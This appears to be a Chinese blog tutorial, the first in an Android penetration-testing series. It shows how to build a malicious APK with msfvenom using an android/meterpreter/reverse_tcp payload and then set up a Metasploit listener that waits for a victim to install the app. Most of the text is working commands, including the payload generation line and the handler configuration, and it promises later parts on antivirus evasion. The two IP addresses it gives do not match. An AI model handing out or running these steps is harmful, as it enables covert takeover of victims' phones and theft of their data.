欢迎回来,我的新手黑客
前段时间在群里面看到有人在研究msf,可能因为刚接触,所以感觉学起来比较吃力,所以接下去的准备出一个系列关于安卓渗透测试的教程,大致介绍一些关于安卓APK的有效载荷,免杀,加壳方面的内容
敬请期待,欢迎转发跟同行分享,谢谢
话不多说开始正文,今天我们的教程很简单,即如何生成安卓APK有效载荷?
个人觉得生成安卓APK有效载荷的方式,大致可以分为两类,其中一类为使用一些RAT的框架去生成有效载荷,有些RAT软件是免费的,但也有一些RAT的收费较高,总而言之,门槛不会太高;另一类为使用Kali自带的一些软件去生成有效载荷,比如说metasploit框架中的msfvenom,以及其他的一些自定义的软件去完成,使用该方法有一个比较大的缺点,就是杀毒软件很容易抓取病毒的特征码进行检测,导致这一类有效载荷的面纱效果并不好,所以在拥有有效载荷之后需要对其进行一些面纱处理
那有效载荷如何工作呢?
当Victim执行该有效载荷后,由靶机向攻击发起一个TCP连接,进而获取主机会话,进行渗透测试
那么上面说了这么多,大致介绍了一下有效载荷生成的一些方式和利用方式,那现在我们就一起来看看如何使用metasploit中的msfvenom去生成安卓APK的有效载荷
一句话概括msfvenom:msfvenom 是metasploit框架配套的攻击载荷生成器
在使用msfvenom生成有效载荷之前,我们先来看一下该命令的一些选项用法
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--payload-options List the payload's standard options # 列出指定 Payload 的标准可选配置项
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
-f, --format <format> Output format (use --help-formats for a list) # 指定 Payload 的输出格式
--help-formats List available formats # 列出所有可用的输出格式
-e, --encoder <encoder> The encoder to use # 指定使用的 Encoder
-a, --arch <arch> The architecture to use # 指定目标系统架构
--platform <platform> The platform of the payload # 指定目标系统平台
--help-platforms List available platforms # 列出可用的平台
-s, --space <length> The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度
-b, --bad-chars <list> The list of characters to avoid example: 'x00xff' # 设置需要在 Payload 中避免出现的字符
-i, --iterations <count> The number of times to encode the payload # 设置 Payload 的编码次数
-c, --add-code <path> Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件
-x, --template <path> Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板
-k, --keep Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能,注入的payload作为一个新的进程运行
-o, --out <path> Save the payload # 保存 Payload 到文件
-v, --var-name <name> Specify a custom variable name to use for certain output formats # 指定一个变量名
(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
--smallest Generate the smallest possible payload # 尽可能生成最短的 Payload
-h, --help Show this message # 帮助
看了以上那么多的选项,会不会觉得有点多?
如果要生成一个有效载荷的话,不管是基于什么平台的有效载荷,都需要用到两个参数,-p和-f,其中-p为指定特定的payload;-f为指定有效载荷(payload)的输出格式
继续来看,-p为指定特送的payload类型,如果不知道有哪里类型呢?我们可以使用一条命令去查看所有可以利用的payload类型,并从中挑选自己想用的
msfvenom -l payload
-f为指定有效载荷的输出格式,那到底有哪一些格式可以使用呢?我们一样可以使用一条命令去查看
msfvenom -l formats
通过上图可以了解到输出格式可以为asp,aspx,elf,当然还可以是exe,jar,c等等,,输出的一些payload类型可以跨平台使用但是我们发现并没有看到apk这样子的格式,这个时候我们使用R参数,也可以直接-o指定输出的文件名,如test.apk
在稍微了解过msfvenom的两个重要参数后,接下来来看看如何使用该程序生成有效载荷
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.196 LPORT=4444 R > android.apk
-p 参数指的是Payload的类型
-LHOST 参数指定的local host,即本地Kali主机的IP地址,就是将TCP会话返回给谁
-LPORT 参数指定的local port,即返回TCP会话使用的本地端口
R参数指定的是生成的文件名和类型
接下来我们稍微了解一下原理
为什么该有效载荷会生效呢?
原因就在于Victim执行Payload文件时,我们Kali主机会收到一个TCP的连接会话
到这边我们就生成了一个安卓APK的有效载荷
最后我们来测试一下该有效载荷是否可用
我们使用msfconsole来设置监听器,需要注意的是设置监听器参数的时候需要和生成Payload文件的参数一样,不然不能返回TCP会话
use exploit/multi/handle
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.43.126
set LPORT 4444
设置完监听器的参数之后,我们使用命令来查看一下监听器的信息
show options
需要确保每个参数都符合你的预期,然后进行监听
exploit
等待用户上线,当用户打开该软件即可上线
这样子我们就获得了一个Meterpreter会话,如何利用该会话将在下期分享中介绍,欢迎关注
原创不易,帮我点点右下角的“在看”吧
原文始发于微信公众号(Kali渗透测试教程):【安卓渗透测试系列教程第一期】如何生成有效载荷
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论